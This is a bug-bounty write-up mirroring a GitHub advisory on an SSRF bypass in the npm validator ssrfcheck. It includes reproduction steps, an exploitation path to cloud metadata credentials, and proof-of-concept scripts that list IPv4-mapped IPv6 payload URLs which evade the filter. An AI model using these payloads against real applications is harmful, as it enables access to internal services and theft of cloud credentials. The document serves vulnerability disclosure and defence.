# ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs

ssrfcheck's private-IP regex expects dotted IPv4-mapped IPv6, but WHATWG URL normalizes to hex, so all private ranges and cloud metadata bypass isSSRFSafeURL().

- Payout: Research
- Severity: high
- Program: ssrfcheck
- Found by: hits313
- Disclosed: 2026-05-05
- CVE: CVE-2026-43929
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j4rj-2jr5-m439
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-j4rj-2jr5-m439
- Tags: area:web domain:oss domain:web impact:data-leak impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:ssrf

**Target:** npm library isSSRFSafeURL() URL validator (src/is-private-ip.js)
**Root cause:** privIp6() regexes match only dot-notation IPv4-mapped IPv6, but Node's WHATWG URL parser serializes embedded IPv4 as compressed hex (::ffff:7f00:1) before the regex runs, so the check never matches.
**Steps:**
1. Install ssrfcheck (<=1.3.0) on Node >= 10.
2. Confirm normalization: `new URL('http://[::ffff:127.0.0.1]/').hostname` returns `[::ffff:7f00:1]`.
3. Call `isSSRFSafeURL('http://[::ffff:169.254.169.254]/')` — returns true (bypass).
4. Repeat with `http://[::ffff:127.0.0.1]/`, `http://[::ffff:192.168.1.1]/`, `http://[::ffff:10.0.0.1]/`, `http://[::ffff:7f00:1]/`, `http://[0:0:0:0:0:ffff:127.0.0.1]/` — all return true.
5. Baseline `http://127.0.0.1/`, `http://192.168.1.1/`, `http://[::1]/` still return false, confirming the gap is the normalization path.
**How found:** Noticed the privIp6 regex expects dot-notation while the hostname is taken from url.hostname post-WHATWG parsing; tested what the parser actually emits for bracketed IPv4-mapped addresses and found hex compression, making the regex dead code.
**Exploitation:** Attacker supplies a user-controlled URL like `http://[::ffff:169.254.169.254]/latest/meta-data/` to an app that gates outbound fetches with isSSRFSafeURL(); the check passes and the server fetches cloud metadata, internal services, or loopback admin endpoints.
**Escalation:** Pivot from metadata theft to cloud credential compromise, or reach internal-only services on 10/172.16/192.168 ranges and loopback.
**Insight:** When auditing SSRF/IP denylists in Node, always check what `new URL(...).hostname` yields for bracketed IPv4-mapped IPv6 — WHATWG serializes to hex groups, so any regex expecting dots is dead. Prefer net.BlockList or numeric parsing over string regexes.

## Proof of concept (copied exactly from the original report)

**Node script calling isSSRFSafeURL on IPv4-mapped IPv6 URLs**

```
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}

console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?',   r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?',        r3 === false);
EOF
```

**WHATWG URL normalization confirmation script**

```
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF
```

